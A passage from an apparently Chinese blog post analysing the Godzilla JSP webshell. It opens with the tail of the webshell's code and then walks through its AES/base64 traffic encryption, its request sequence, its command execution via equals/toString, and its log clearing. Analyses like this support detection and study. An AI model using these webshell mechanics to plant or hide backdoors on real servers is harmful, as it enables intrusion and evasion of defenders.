                response.getWriter().write(md5.substring(0, 16));
                f.toString();
                response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
                response.getWriter().write(md5.substring(16));
            }
        } catch (Exception e) {
        }
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    哥斯拉的流量加密过程:

    AES的密钥是xc(key进行md5加密的32位结果,截取前16位),生成的MD5只用作返回结果的前后脏数据

    image-20220822171845990

    pass字段传入的数据进行base64和AES解密,赋值给data通过session中有没有payload属性判断是否第一次访问shell。

    第一次请求:把传入的data的Class对象(此时的data是加密后的payload.class 就是一堆具体的功能实现函数)放入payload。

    image-20220822172935333

    image-20220822181147585

    image-20220822173457055

    第二次请求:测试连接,调用payload类的test方法

    image-20220822181430617

    下图为3.0之前的版本payload解密之后,methodName=test

    image-20220822181405831

    在4.01的版本多了一个formatParameter函数的加密,主要是用GZIPOutputStream对数据做了压缩。

    payload#formatParameter

    image-20220822192833689

    image-20220822183023337

    返回包的内容是两段加密后的字符中间加上加密后的执行结果: OK

    image-20220822183321673

    第三次请求:获取服务器基本信息,调用Payload类的getBasicsInfo方法

    image-20220822185827661

    加密过程如下:

    data -> aes加密 ->  base64编码 ->  url编码
    
    • 1

    命令执行的逻辑在payload的equals,toString方法那

    equals调用handle方法根据传入的对象类型赋值给对应的变量,noLog方法清空日志

    image-20220822193852762

    toString主要是用来调用run方法,然后清空request的parameters属性。

    image-20220822194234300

    具体的实现逻辑推荐阅读:

    Java WebShell3—哥斯拉源码分析

    哥斯拉流量加解密浅析(jsp篇)

    参考:

    https://xz.aliyun.com/t/11368

    https://www.anquanke.com/post/id/214435

    https://xz.aliyun.com/t/7798

  • 相关阅读:
    PHP Error 和 Logging 函数
    Studio one 6.5中文直装版最新版,一键安装丨无套路分享丨宿主软件丨机架直播
    网络篇——路由器组网,根据MAC地址查询ip
    STM32CubeMX教程6 TIM 通用定时器 - 生成PWM波
    【算法练习Day2】有序数组的平方&&长度最小子数组&&螺旋矩阵II
    数据库恢复
    nodejs出现 require is not defined in ES module scope, you can use import instead
    重装系统步骤(Win7换Win10)
    [游戏开发][unity]Xlua中使用proto、json、lpeg
    Java优先级队列(堆)
  • 原文地址:https://blog.csdn.net/weixin_43610673/article/details/126473398